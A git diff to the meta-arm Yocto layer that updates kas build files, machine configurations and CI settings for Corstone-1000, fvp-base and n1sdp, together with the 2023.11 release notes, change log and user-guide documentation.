+++ b/meta-arm/ci/poky-tiny.yml
@@ -5,7 +5,7 @@ distro: poky-tiny
local_conf_header:
hacking: |
- TEST_SUITES = "ping"
+ TEST_SUITES = "_qemutiny ping"
extrapackages: |
# Intentionally blank to prevent perf from being added to the image in base.yml
diff --git a/meta-arm/ci/tftf.yml b/meta-arm/ci/tftf.yml
index 260ceab011..33a8a4f5f6 100644
--- a/meta-arm/ci/tftf.yml
+++ b/meta-arm/ci/tftf.yml
@@ -4,4 +4,5 @@ header:
local_conf_header:
tftf: |
TFA_UBOOT = "0"
+ TFA_UEFI = "0"
TFTF_TESTS = "1"
diff --git a/meta-arm/kas/arm-systemready-firmware.yml b/meta-arm/kas/arm-systemready-firmware.yml
new file mode 100644
index 0000000000..8b0b9fd597
--- /dev/null
+++ b/meta-arm/kas/arm-systemready-firmware.yml
@@ -0,0 +1,12 @@
+header:
+ version: 13
+
+repos:
+ meta-arm:
+ layers:
+ meta-arm-systemready:
+
+distro: nodistro
+
+target:
+ - arm-systemready-firmware
diff --git a/meta-arm/kas/arm-systemready-ir-acs.yml b/meta-arm/kas/arm-systemready-ir-acs.yml
new file mode 100644
index 0000000000..38604d7f87
--- /dev/null
+++ b/meta-arm/kas/arm-systemready-ir-acs.yml
@@ -0,0 +1,17 @@
+header:
+ version: 13
+ includes:
+ - kas/arm-systemready-firmware.yml
+
+env:
+ TESTIMAGE_AUTO: "1"
+ # The full testimage run typically takes around 12-24h on fvp-base.
+ TEST_OVERALL_TIMEOUT: "${@ 24*60*60}"
+
+local_conf_header:
+ systemready-ir-acs: |
+ IMAGE_CLASSES:append = " testimage"
+
+
+target:
+ - arm-systemready-ir-acs
diff --git a/meta-arm/kas/arm-systemready-linux-distros-debian.yml b/meta-arm/kas/arm-systemready-linux-distros-debian.yml
new file mode 100644
index 0000000000..38cc74b230
--- /dev/null
+++ b/meta-arm/kas/arm-systemready-linux-distros-debian.yml
@@ -0,0 +1,7 @@
+header:
+ version: 13
+ includes:
+ - kas/arm-systemready-firmware.yml
+
+target:
+ - arm-systemready-linux-distros-debian
diff --git a/meta-arm/kas/arm-systemready-linux-distros-opensuse.yml b/meta-arm/kas/arm-systemready-linux-distros-opensuse.yml
new file mode 100644
index 0000000000..cffbdb9251
--- /dev/null
+++ b/meta-arm/kas/arm-systemready-linux-distros-opensuse.yml
@@ -0,0 +1,7 @@
+header:
+ version: 13
+ includes:
+ - kas/arm-systemready-firmware.yml
+
+target:
+ - arm-systemready-linux-distros-opensuse
diff --git a/meta-arm/kas/corstone1000-base.yml b/meta-arm/kas/corstone1000-base.yml
index 5e4ae7e4cd..1ab65455f4 100644
--- a/meta-arm/kas/corstone1000-base.yml
+++ b/meta-arm/kas/corstone1000-base.yml
@@ -1,5 +1,5 @@
header:
- version: 11
+ version: 14
env:
DISPLAY: ""
@@ -8,7 +8,7 @@ distro: poky-tiny
defaults:
repos:
- refspec: master
+ branch: nanbield
repos:
meta-arm:
@@ -19,21 +19,22 @@ repos:
poky:
url: https://git.yoctoproject.org/git/poky
- refspec: 31dd418207f6c95ef0aad589cd03cd2a4c9a8bf2
+ commit: 2e9c2a2381105f1306bcbcb54816cbc5d8110eff
layers:
meta:
meta-poky:
- meta-yocto-bsp:
meta-openembedded:
url: https://git.openembedded.org/meta-openembedded
- refspec: 5a01ab461c9bcabcbb2298236602373948f8f073
+ commit: 1750c66ae8e4268c472c0b2b94748a59d6ef866d
layers:
meta-oe:
meta-python:
+ meta-perl:
meta-secure-core:
url: https://github.com/wind-river/meta-secure-core.git
+ commit: e29165a1031dcf601edbed1733cedd64826672a5
layers:
meta:
meta-signing-key:
diff --git a/meta-arm/kas/corstone1000-fvp.yml b/meta-arm/kas/corstone1000-fvp.yml
index 7d23a53abc..abf40703fc 100644
--- a/meta-arm/kas/corstone1000-fvp.yml
+++ b/meta-arm/kas/corstone1000-fvp.yml
@@ -1,5 +1,5 @@
header:
- version: 11
+ version: 14
includes:
- kas/corstone1000-base.yml
- kas/fvp-eula.yml
@@ -10,7 +10,7 @@ local_conf_header:
fvp-config: |
# Remove Dropbear SSH as it will not fit into the corstone1000 image.
IMAGE_FEATURES:remove = " ssh-server-dropbear"
- INHERIT = " ${@bb.utils.contains('BUILD_ARCH', 'x86_64', 'fvpboot', '', d)}"
+ INHERIT += "fvpboot"
target:
- corstone1000-image
diff --git a/meta-arm/kas/corstone1000-mps3.yml b/meta-arm/kas/corstone1000-mps3.yml
index 53be4382fe..7d63a185af 100644
--- a/meta-arm/kas/corstone1000-mps3.yml
+++ b/meta-arm/kas/corstone1000-mps3.yml
@@ -1,5 +1,5 @@
header:
- version: 11
+ version: 14
includes:
- kas/corstone1000-base.yml
diff --git a/meta-arm/kas/fvp-base.yml b/meta-arm/kas/fvp-base.yml
new file mode 100644
index 0000000000..18b9134ba6
--- /dev/null
+++ b/meta-arm/kas/fvp-base.yml
@@ -0,0 +1,43 @@
+header:
+ version: 13
+ includes:
+ - kas/fvp-eula.yml
+
+env:
+ DISPLAY:
+ WAYLAND_DISPLAY:
+ XAUTHORITY:
+
+
+distro: poky
+machine: fvp-base
+
+defaults:
+ repos:
+ refspec: master
+
+repos:
+ meta-arm:
+ layers:
+ meta-arm:
+ meta-arm-bsp:
+ meta-arm-toolchain:
+
+ poky:
+ url: https://git.yoctoproject.org/git/poky
+ path: layers/poky
+ layers:
+ meta:
+ meta-poky:
+
+local_conf_header:
+ base: |
+ CONF_VERSION = "2"
+ PACKAGE_CLASSES = "package_ipk"
+ PACKAGECONFIG:remove:pn-qemu-system-native = "gtk+ sdl"
+ EXTRA_IMAGE_FEATURES:append = " debug-tweaks ssh-server-openssh"
+ CORE_IMAGE_EXTRA_INSTALL:append = " ssh-pregen-hostkeys"
+ IMAGE_CLASSES:append = " testimage fvpboot"
+
+target:
+ - core-image-minimal
diff --git a/meta-arm/meta-arm-bsp/conf/layer.conf b/meta-arm/meta-arm-bsp/conf/layer.conf
index 97d9728c87..71f64d9a57 100644
--- a/meta-arm/meta-arm-bsp/conf/layer.conf
+++ b/meta-arm/meta-arm-bsp/conf/layer.conf
@@ -13,9 +13,14 @@ LAYERSERIES_COMPAT_meta-arm-bsp = "nanbield"
LAYERDEPENDS_meta-arm-bsp = "core meta-arm"
# This won't be used by layerindex-fetch, but works everywhere else
-LAYERDEPENDS_meta-arm-bsp:append:corstone1000 = " meta-python openembedded-layer"
+LAYERDEPENDS_meta-arm-bsp:append:corstone1000 = " meta-python openembedded-layer efi-secure-boot"
LAYERDEPENDS_meta-arm-bsp:append:musca-b1 = " meta-python"
LAYERDEPENDS_meta-arm-bsp:append:musca-s1 = " meta-python"
# Additional license directories.
LICENSE_PATH += "${LAYERDIR}/custom-licenses"
+
+BBFILES_DYNAMIC += " \
+ meta-arm-systemready:${LAYERDIR}/dynamic-layers/meta-arm-systemready/*/*/*.bb \
+ meta-arm-systemready:${LAYERDIR}/dynamic-layers/meta-arm-systemready/*/*/*.bbappend \
+"
diff --git a/meta-arm/meta-arm-bsp/conf/machine/corstone1000-fvp.conf b/meta-arm/meta-arm-bsp/conf/machine/corstone1000-fvp.conf
index 5b3e150260..9c070b3d8a 100644
--- a/meta-arm/meta-arm-bsp/conf/machine/corstone1000-fvp.conf
+++ b/meta-arm/meta-arm-bsp/conf/machine/corstone1000-fvp.conf
@@ -16,6 +16,9 @@ FVP_PROVIDER ?= "fvp-corstone1000-native"
FVP_EXE ?= "FVP_Corstone-1000"
FVP_CONSOLE ?= "host_terminal_0"
+#Disable Time Annotation
+FASTSIM_DISABLE_TA = "0"
+
# FVP Parameters
FVP_CONFIG[se.trustedBootROMloader.fname] ?= "bl1.bin"
FVP_CONFIG[board.xnvm_size] ?= "64"
@@ -49,10 +52,19 @@ FVP_CONFIG[board.msd_mmc.p_fast_access] ?= "0"
FVP_CONFIG[board.msd_mmc.diagnostics] ?= "2"
FVP_CONFIG[board.msd_mmc.p_max_block_count] ?= "0xFFFF"
FVP_CONFIG[board.msd_config.pl180_fifo_depth] ?= "16"
+FVP_CONFIG[board.msd_mmc.support_unpadded_images] ?= "true"
# MMC2 card configuration
FVP_CONFIG[board.msd_mmc_2.card_type] ?= "SDHC"
FVP_CONFIG[board.msd_mmc_2.p_fast_access] ?= "0"
FVP_CONFIG[board.msd_mmc_2.diagnostics] ?= "2"
FVP_CONFIG[board.msd_mmc_2.p_max_block_count] ?= "0xFFFF"
-FVP_CONFIG[board.msd_config_2.pl180_fifo_depth] ?= "16" \ No newline at end of file
+FVP_CONFIG[board.msd_config_2.pl180_fifo_depth] ?= "16"
+FVP_CONFIG[board.msd_mmc_2.support_unpadded_images] ?= "true"
+
+# Virtio-Net configuration
+FVP_CONFIG[board.virtio_net.enabled] ?= "1"
+FVP_CONFIG[board.virtio_net.hostbridge.interfaceName] ?= "eth1"
+FVP_CONFIG[board.virtio_net.hostbridge.userNetworking] ?= "true"
+FVP_CONFIG[board.virtio_net.hostbridge.userNetPorts] ?= "5555=5555,8080=80,2222=22"
+FVP_CONFIG[board.virtio_net.transport] ?= "legacy"
diff --git a/meta-arm/meta-arm-bsp/conf/machine/fvp-base.conf b/meta-arm/meta-arm-bsp/conf/machine/fvp-base.conf
index 3a923badb0..39ef38be56 100644
--- a/meta-arm/meta-arm-bsp/conf/machine/fvp-base.conf
+++ b/meta-arm/meta-arm-bsp/conf/machine/fvp-base.conf
@@ -4,15 +4,57 @@
#@NAME: Armv8-A Base Platform FVP machine
#@DESCRIPTION: Machine configuration for Armv8-A Base Platform FVP model
-require conf/machine/include/fvp-common.inc
-require conf/machine/include/arm/arch-armv8a.inc
+require conf/machine/include/arm/arch-armv8-4a.inc
-TUNE_FEATURES = "aarch64"
+ARM_SYSTEMREADY_FIRMWARE = "trusted-firmware-a:do_deploy"
+ARM_SYSTEMREADY_ACS_CONSOLE = "default"
+EXTRA_IMAGEDEPENDS = "${ARM_SYSTEMREADY_FIRMWARE}"
-# FVP u-boot configuration
-UBOOT_MACHINE = "vexpress_aemv8a_semi_defconfig"
+MACHINE_FEATURES = "efi"
+
+IMAGE_NAME_SUFFIX = ""
+IMAGE_FSTYPES += "wic"
+WKS_FILE ?= "efi-disk.wks.in"
+SERIAL_CONSOLES = "115200;ttyAMA0"
+
+PREFERRED_PROVIDER_virtual/kernel ?= "linux-yocto"
+KERNEL_DEVICETREE = "arm/fvp-base-revc.dtb"
KERNEL_IMAGETYPE = "Image"
+EXTRA_IMAGEDEPENDS += "trusted-firmware-a"
+
+# FVP u-boot configuration
+UBOOT_MACHINE = "vexpress_fvp_defconfig"
+
+EFI_PROVIDER ?= "grub-efi"
+
+# As this is a virtual target that will not be used in the real world there is
+# no need for real SSH keys.
+MACHINE_EXTRA_RRECOMMENDS += "ssh-pregen-hostkeys"
+
+TEST_TARGET = "OEFVPTarget"
+TEST_TARGET_IP = "127.0.0.1:2222"
+DEFAULT_TEST_SUITES:append = " fvp_boot fvp_devices"
+TEST_FVP_DEVICES ?= "rtc watchdog networking virtiorng cpu_hotplug"
+
+FVP_PROVIDER ?= "fvp-base-a-aem-native"
+FVP_EXE ?= "FVP_Base_RevC-2xAEMvA"
+FVP_CONFIG[bp.ve_sysregs.exit_on_shutdown] ?= "1"
+FVP_CONFIG[bp.virtio_net.enabled] ?= "1"
+FVP_CONFIG[bp.virtio_net.hostbridge.userNetworking] ?= "1"
+# Tell testimage to connect to localhost:2222, and forward that to SSH in the FVP.
+FVP_CONFIG[bp.virtio_net.hostbridge.userNetPorts] = "2222=22"
FVP_CONFIG[bp.virtio_rng.enabled] ?= "1"
-IMAGE_NAME_SUFFIX = ""
+FVP_CONFIG[cache_state_modelled] ?= "0"
+FVP_CONFIG[bp.secureflashloader.fname] ?= "bl1-fvp.bin"
+FVP_CONFIG[bp.flashloader0.fname] ?= "fip-fvp.bin"
+FVP_CONFIG[bp.virtioblockdevice.image_path] ?= "${IMAGE_NAME}.wic"
+# Set the baseline to ARMv8.4, as the default is 8.0.
+FVP_CONFIG[cluster0.has_arm_v8-4] = "1"
+FVP_CONFIG[cluster1.has_arm_v8-4] = "1"
+FVP_CONSOLES[default] = "terminal_0"
+FVP_TERMINALS[bp.terminal_0] ?= "Console"
+FVP_TERMINALS[bp.terminal_1] ?= ""
+FVP_TERMINALS[bp.terminal_2] ?= ""
+FVP_TERMINALS[bp.terminal_3] ?= ""
diff --git a/meta-arm/meta-arm-bsp/conf/machine/include/corstone1000.inc b/meta-arm/meta-arm-bsp/conf/machine/include/corstone1000.inc
index 5a66f54d20..749350e1d8 100644
--- a/meta-arm/meta-arm-bsp/conf/machine/include/corstone1000.inc
+++ b/meta-arm/meta-arm-bsp/conf/machine/include/corstone1000.inc
@@ -52,7 +52,7 @@ EXTRA_IMAGEDEPENDS += "external-system"
# Linux kernel
PREFERRED_PROVIDER_virtual/kernel:forcevariable = "linux-yocto"
-PREFERRED_VERSION_linux-yocto = "6.4%"
+PREFERRED_VERSION_linux-yocto = "6.5%"
KERNEL_IMAGETYPE = "Image.gz"
INITRAMFS_IMAGE_BUNDLE ?= "1"
diff --git a/meta-arm/meta-arm-bsp/conf/machine/include/fvp-common.inc b/meta-arm/meta-arm-bsp/conf/machine/include/fvp-common.inc
deleted file mode 100644
index e6e4443199..0000000000
--- a/meta-arm/meta-arm-bsp/conf/machine/include/fvp-common.inc
+++ /dev/null
@@ -1,50 +0,0 @@
-# FVP common parameters
-
-#
-# Capturing FVP common configurations (Armv8-A Base Platform FVP,
-# Armv8-A Foundation Platform and Armv7-A Base Platform FVP).
-#
-
-MACHINE_FEATURES = "optee"
-
-IMAGE_FSTYPES += "wic"
-WKS_FILE ?= "fvp-base.wks"
-
-SERIAL_CONSOLES = "115200;ttyAMA0"
-
-PREFERRED_PROVIDER_virtual/kernel ?= "linux-yocto"
-
-KERNEL_DEVICETREE = "arm/fvp-base-revc.dtb"
-
-EXTRA_IMAGEDEPENDS += "trusted-firmware-a"
-
-# As this is a virtual target that will not be used in the real world there is
-# no need for real SSH keys.
-MACHINE_EXTRA_RRECOMMENDS += "ssh-pregen-hostkeys"
-
-TEST_TARGET = "OEFVPTarget"
-TEST_TARGET_IP = "127.0.0.1:2222"
-TEST_SUITES:append = " fvp_boot fvp_devices"
-TEST_FVP_DEVICES ?= "rtc watchdog networking virtiorng cpu_hotplug"
-
-FVP_PROVIDER ?= "fvp-base-a-aem-native"
-FVP_EXE ?= "FVP_Base_RevC-2xAEMvA"
-FVP_CONFIG[bp.ve_sysregs.exit_on_shutdown] ?= "1"
-FVP_CONFIG[bp.virtio_net.enabled] ?= "1"
-FVP_CONFIG[bp.virtio_net.hostbridge.userNetworking] ?= "1"
-# Tell testimage to connect to localhost:2222, and forward that to SSH in the FVP.
-FVP_CONFIG[bp.virtio_net.hostbridge.userNetPorts] = "2222=22"
-FVP_CONFIG[cache_state_modelled] ?= "0"
-FVP_CONFIG[bp.secureflashloader.fname] ?= "bl1-fvp.bin"
-FVP_CONFIG[bp.flashloader0.fname] ?= "fip-fvp.bin"
-FVP_CONFIG[bp.virtioblockdevice.image_path] ?= "${IMAGE_NAME}.wic"
-# Set the baseline to ARMv8.4, as the default is 8.0.
-FVP_CONFIG[cluster0.has_arm_v8-4] = "1"
-FVP_CONFIG[cluster1.has_arm_v8-4] = "1"
-FVP_CONSOLE ?= "terminal_0"
-FVP_DATA ?= "cluster0.cpu0=${KERNEL_IMAGETYPE}@0x80080000 \
- cluster0.cpu0=fvp-base-revc.dtb@0x8fc00000"
-FVP_TERMINALS[bp.terminal_0] ?= "Console"
-FVP_TERMINALS[bp.terminal_1] ?= ""
-FVP_TERMINALS[bp.terminal_2] ?= ""
-FVP_TERMINALS[bp.terminal_3] ?= ""
diff --git a/meta-arm/meta-arm-bsp/conf/machine/n1sdp.conf b/meta-arm/meta-arm-bsp/conf/machine/n1sdp.conf
index b93e053d1f..74a0a66fdc 100644
--- a/meta-arm/meta-arm-bsp/conf/machine/n1sdp.conf
+++ b/meta-arm/meta-arm-bsp/conf/machine/n1sdp.conf
@@ -19,12 +19,16 @@ WKS_FILE_DEPENDS:append = " ${EXTRA_IMAGEDEPENDS}"
# Use kernel provided by yocto
PREFERRED_PROVIDER_virtual/kernel ?= "linux-yocto"
-PREFERRED_VERSION_linux-yocto ?= "6.4%"
+PREFERRED_VERSION_linux-yocto ?= "6.5%"
# RTL8168E Gigabit Ethernet Controller is attached to the PCIe interface
MACHINE_ESSENTIAL_EXTRA_RDEPENDS += "linux-firmware-rtl8168"
+# TF-A
EXTRA_IMAGEDEPENDS += "trusted-firmware-a"
+TFA_PLATFORM = "n1sdp"
+
+# SCP
EXTRA_IMAGEDEPENDS += "virtual/control-processor-firmware"
#UEFI EDK2 firmware
diff --git a/meta-arm/meta-arm-bsp/documentation/corstone1000/.readthedocs.yaml b/meta-arm/meta-arm-bsp/documentation/corstone1000/.readthedocs.yaml
new file mode 100644
index 0000000000..1b07ce8164
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/documentation/corstone1000/.readthedocs.yaml
@@ -0,0 +1,12 @@
+version: 2
+build:
+ os: "ubuntu-22.04"
+ tools:
+ python: "3.9"
+sphinx:
+ configuration: meta-arm-bsp/documentation/corstone1000/conf.py
+formats:
+ - pdf
+python:
+ install:
+ - requirements: meta-arm-bsp/documentation/requirements.txt
diff --git a/meta-arm/meta-arm-bsp/documentation/corstone1000/change-log.rst b/meta-arm/meta-arm-bsp/documentation/corstone1000/change-log.rst
index 32d6529279..173823b6c2 100644
--- a/meta-arm/meta-arm-bsp/documentation/corstone1000/change-log.rst
+++ b/meta-arm/meta-arm-bsp/documentation/corstone1000/change-log.rst
@@ -11,6 +11,77 @@ This document contains a summary of the new features, changes and
fixes in each release of Corstone-1000 software stack.
***************
+Version 2023.11
+***************
+
+Changes
+=======
+
+- Making Corstone-1000 SystemReady IR 2.0 certifiable
+- Allow booting Debian & OpenSUSE on FVP
+- Add support for two MMC cards for the FVP
+- Add signed capsule update support
+- Enable on-disk capsule update
+- Add the feature of purging specific DT nodes in U-Boot before Linux
+- Add Ethernet over VirtIO support in U-Boot
+- Add support for unaligned MMC card images
+- Reducing the out-of-tree patches by upstreaming them to the corresponding open-source projects
+- SW components upgrades
+- Bug fixes
+
+Corstone-1000 components versions
+=================================
+
++-------------------------------------------+-----------------------------------------------------+
+| arm-ffa-tee | 1.1.2-r0 |
++-------------------------------------------+-----------------------------------------------------+
+| linux-yocto | 6.5.7 |
++-------------------------------------------+-----------------------------------------------------+
+| u-boot | 2023.07 |
++-------------------------------------------+-----------------------------------------------------+
+| external-system | 0.1.0+gitAUTOINC+8c9dca74b1-r0 |
++-------------------------------------------+-----------------------------------------------------+
+| optee-client | 3.22.0 |
++-------------------------------------------+-----------------------------------------------------+
+| optee-os | 3.22.0 |
++-------------------------------------------+-----------------------------------------------------+
+| trusted-firmware-a | 2.9.0 |
++-------------------------------------------+-----------------------------------------------------+
+| trusted-firmware-m | 1.8.1 |
++-------------------------------------------+-----------------------------------------------------+
+| libts | 08b3d39471 |
++-------------------------------------------+-----------------------------------------------------+
+| ts-newlib | 4.1.0 |
++-------------------------------------------+-----------------------------------------------------+
+| ts-psa-{crypto, iat, its. ps}-api-test | 38cb53a4d9 |
++-------------------------------------------+-----------------------------------------------------+
+| ts-sp-{se-proxy, smm-gateway} | 08b3d39471 |
++-------------------------------------------+-----------------------------------------------------+
+
+Yocto distribution components versions
+======================================
+
++-------------------------------------------+------------------------------+
+| meta-arm | nanbield |
++-------------------------------------------+------------------------------+
+| poky | nanbield |
++-------------------------------------------+------------------------------+
+| meta-openembedded | nanbield |
++-------------------------------------------+------------------------------+
+| meta-secure-core | nanbield |
++-------------------------------------------+------------------------------+
+| busybox | 1.36.1 |
++-------------------------------------------+------------------------------+
+| musl | 1.2.4 |
++-------------------------------------------+------------------------------+
+| gcc-arm-none-eabi | 11.2-2022.02 |
++-------------------------------------------+------------------------------+
+| gcc-cross-aarch64 | 13.2.0 |
++-------------------------------------------+------------------------------+
+| openssl | 3.1.3 |
++-------------------------------------------+------------------------------+
+
+***************
Version 2023.06
***************
diff --git a/meta-arm/meta-arm-bsp/documentation/corstone1000/release-notes.rst b/meta-arm/meta-arm-bsp/documentation/corstone1000/release-notes.rst
index 62e3f8ff66..501a153ed7 100644
--- a/meta-arm/meta-arm-bsp/documentation/corstone1000/release-notes.rst
+++ b/meta-arm/meta-arm-bsp/documentation/corstone1000/release-notes.rst
@@ -20,6 +20,27 @@ prove defective, you assume the entire cost of all necessary servicing, repair
or correction.
***********************
+Release notes - 2023.11
+***********************
+
+Known Issues or Limitations
+---------------------------
+
+ - Use Ethernet over VirtIO due to lan91c111 Ethernet driver support dropped from U-Boot.
+ - Temporally removing the External system support in Linux due to it using multiple custom devicetree bindings that caused problems with SystemReady IR 2.0 certification. For External system support please refer to the version 2023.06. We are aiming to restore it in a more standardised manner in our next release.
+ - Due to the performance uplimit of MPS3 FPGA and FVP, some Linux distros like Fedora Rawhide can not boot on Corstone-1000 (i.e. user may experience timeouts or boot hang).
+ - PSA Crypto tests (psa-crypto-api-test command) approximately take 30 minutes to complete for FVP and MPS3.
+ - Corstone-1000 SoC on FVP doesn't have a secure debug peripheral. It does on the MPS3.
+ - See previous release notes for the known limitations regarding ACS tests.
+
+Platform Support
+-----------------
+ - This software release is tested on Corstone-1000 FPGA version AN550_v2
+ https://developer.arm.com/downloads/-/download-fpga-images
+ - This software release is tested on Corstone-1000 Fast Model platform (FVP) version 11.23_25
+ https://developer.arm.com/tools-and-software/open-source-software/arm-platforms-software/arm-ecosystem-fvps
+
+***********************
Release notes - 2023.06
***********************
diff --git a/meta-arm/meta-arm-bsp/documentation/corstone1000/software-architecture.rst b/meta-arm/meta-arm-bsp/documentation/corstone1000/software-architecture.rst
index bf3535b2ec..ce8bd7e0d0 100644
--- a/meta-arm/meta-arm-bsp/documentation/corstone1000/software-architecture.rst
+++ b/meta-arm/meta-arm-bsp/documentation/corstone1000/software-architecture.rst
@@ -72,8 +72,10 @@ non-secure and the secure world is performed via FF-A messages.
An external system is intended to implement use-case specific
functionality. The system is based on Cortex-M3 and run RTX RTOS.
-Communictaion between external system and Host(cortex-A35) is performed
-using MHU as transport mechanism and rpmsg messaging system.
+Communication between the external system and Host (Cortex-A35) is performed
+using MHU as transport mechanism and rpmsg messaging system (the external system
+support in Linux is disabled in this release. More info about this change can be found in the
+release-notes).
Overall, the Corstone-1000 architecture is designed to cover a range
of Power, Performance, and Area (PPA) applications, and enable extension
@@ -157,9 +159,9 @@ Secure Firmware Update
**********************
Apart from always booting the authorized images, it is also essential that
-the device only accepts the authorized images in the firmware update
+the device only accepts the authorized (signed) images in the firmware update
process. Corstone-1000 supports OTA (Over the Air) firmware updates and
-follows Platform Security Firmware Update sepcification (`FWU`_).
+follows Platform Security Firmware Update specification (`FWU`_).
As standardized into `FWU`_, the external flash is divided into two
banks of which one bank has currently running images and the other bank is
@@ -172,7 +174,10 @@ Image (the initramfs bundle). The new images are accepted in the form of a UEFI
:width: 690
:alt: ExternalFlash
-
+When Firmware update is triggered, u-boot verifies the capsule by checking the
+capsule signature, version number and size. Then it signals the Secure Enclave
+that can start writing UEFI capsule into the flash. Once this operation finishes
+,Secure Enclave resets the entire system.
The Metadata Block in the flash has the below firmware update state machine.
TF-M runs an OTA service that is responsible for accepting and updating the
images in the flash. The communication between the UEFI Capsule update
diff --git a/meta-arm/meta-arm-bsp/documentation/corstone1000/user-guide.rst b/meta-arm/meta-arm-bsp/documentation/corstone1000/user-guide.rst
index 96dee072e2..134ed41d01 100644
--- a/meta-arm/meta-arm-bsp/documentation/corstone1000/user-guide.rst
+++ b/meta-arm/meta-arm-bsp/documentation/corstone1000/user-guide.rst
@@ -68,33 +68,33 @@ Trusted Firmware-A
==================
Based on `Trusted Firmware-A <https://git.trustedfirmware.org/TF-A/trusted-firmware-a.git>`__
-+----------+-----------------------------------------------------------------------------------------------------+
-| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.8.%.bbappend |
-+----------+-----------------------------------------------------------------------------------------------------+
-| Recipe | <_workspace>/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.8.0.bb |
-+----------+-----------------------------------------------------------------------------------------------------+
++----------+-------------------------------------------------------------------------------------------------+
+| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-a/trusted-firmware-a_%.bbappend |
++----------+-------------------------------------------------------------------------------------------------+
+| Recipe | <_workspace>/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.9.0.bb |
++----------+-------------------------------------------------------------------------------------------------+
OP-TEE
======
Based on `OP-TEE <https://git.trustedfirmware.org/OP-TEE/optee_os.git>`__
-+----------+------------------------------------------------------------------------------------+
-| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.20.0.bbappend |
-+----------+------------------------------------------------------------------------------------+
-| Recipe | <_workspace>/meta-arm/meta-arm/recipes-security/optee/optee-os_3.20.0.bb |
-+----------+------------------------------------------------------------------------------------+
++----------+----------------------------------------------------------------------------------------+
+| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bbappend |
++----------+----------------------------------------------------------------------------------------+
+| Recipe | <_workspace>/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os_3.22.0.bb |
++----------+----------------------------------------------------------------------------------------+
U-Boot
======
Based on `U-Boot repo`_
-+----------+-------------------------------------------------------------------------+
-| bbappend | <_workspace>/meta-arm/meta-arm/recipes-bsp/u-boot/u-boot_%.bbappend |
-+----------+-------------------------------------------------------------------------+
-| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_%.bbappend |
-+----------+-------------------------------------------------------------------------+
-| Recipe | <_workspace>/poky/meta/recipes-bsp/u-boot/u-boot_2023.01.bb |
-+----------+-------------------------------------------------------------------------+
++----------+----------------------------------------------------------------------------+
+| bbappend | <_workspace>/meta-arm/meta-arm/recipes-bsp/u-boot/u-boot_%.bbappend |
++----------+----------------------------------------------------------------------------+
+| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_%.bbappend |
++----------+----------------------------------------------------------------------------+
+| Recipe | <_workspace>/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot_2023.07.02.bb |
++----------+----------------------------------------------------------------------------+
Linux
=====
@@ -107,30 +107,20 @@ recipe responsible for building a tiny version of Linux is listed below.
+-----------+----------------------------------------------------------------------------------------------+
| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-kernel/linux/linux-yocto_%.bbappend |
+-----------+----------------------------------------------------------------------------------------------+
-| Recipe | <_workspace>/poky/meta/recipes-kernel/linux/linux-yocto_6.1.bb |
+| Recipe | <_workspace>/poky/meta/recipes-kernel/linux/linux-yocto_6.5.bb |
+-----------+----------------------------------------------------------------------------------------------+
| defconfig | <_workspace>/meta-arm/meta-arm-bsp/recipes-kernel/linux/files/corstone1000/defconfig |
+-----------+----------------------------------------------------------------------------------------------+
-External System Tests
-=====================
-Based on `Corstone-1000/applications <https://git.gitlab.arm.com/arm-reference-solutions/corstone1000/applications>`__
-
-+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Recipe | <_workspace>/meta-arm/meta-arm-bsp/recipes-test/corstone1000-external-sys-tests/corstone1000-external-sys-tests_1.0.bb |
-+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-
-The recipe provides the systems-comms-tests command run in Linux and used for testing the External System.
-
**************************************************
Software for Boot Processor (a.k.a Secure Enclave)
**************************************************
Based on `Trusted Firmware-M <https://git.trustedfirmware.org/TF-M/trusted-firmware-m.git>`__
+----------+-----------------------------------------------------------------------------------------------------+
-| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/trusted-firmware-m_1.7.%.bbappend |
+| bbappend | <_workspace>/meta-arm/meta-arm-bsp/recipes-bsp/trusted-firmware-m/trusted-firmware-m_%.bbappend |
+----------+-----------------------------------------------------------------------------------------------------+
-| Recipe | <_workspace>/meta-arm/meta-arm/recipes-bsp/trusted-firmware-m/trusted-firmware-m_1.7.0.bb |
+| Recipe | <_workspace>/meta-arm/meta-arm/recipes-bsp/trusted-firmware-m/trusted-firmware-m_1.8.1.bb |
+----------+-----------------------------------------------------------------------------------------------------+
********************************
@@ -156,7 +146,7 @@ to as ``<_workspace>`` in these instructions. To create the folder, run:
cd <_workspace>
Corstone-1000 software is based on the Yocto Project which uses kas and bitbake
-commands to build the stack. To install kas tool, run:
+commands to build the stack. kas version 4 is required. To install kas, run:
::
@@ -168,13 +158,13 @@ In the top directory of the workspace ``<_workspace>``, run:
::
- git clone https://git.yoctoproject.org/git/meta-arm -b CORSTONE1000-2023.06
+ git clone https://git.yoctoproject.org/git/meta-arm -b CORSTONE1000-2023.11
To build a Corstone-1000 image for MPS3 FPGA, run:
::
- kas build meta-arm/kas/corstone1000-mps3.yml
+ kas build meta-arm/kas/corstone1000-mps3.yml:meta-arm/ci/debug.yml
Alternatively, to build a Corstone-1000 image for FVP, you need to accept
the EULA at https://developer.arm.com/downloads/-/arm-ecosystem-fvps/eula
@@ -188,7 +178,7 @@ then run:
::
- kas build meta-arm/kas/corstone1000-fvp.yml
+ kas build meta-arm/kas/corstone1000-fvp.yml:meta-arm/ci/debug.yml
The initial clean build will be lengthy, given that all host utilities are to
be built as well as the target images. This includes host executables (python,
@@ -343,7 +333,7 @@ A Yocto recipe is provided and allows to download the latest supported FVP versi
The recipe is located at <_workspace>/meta-arm/meta-arm/recipes-devtools/fvp/fvp-corstone1000.bb
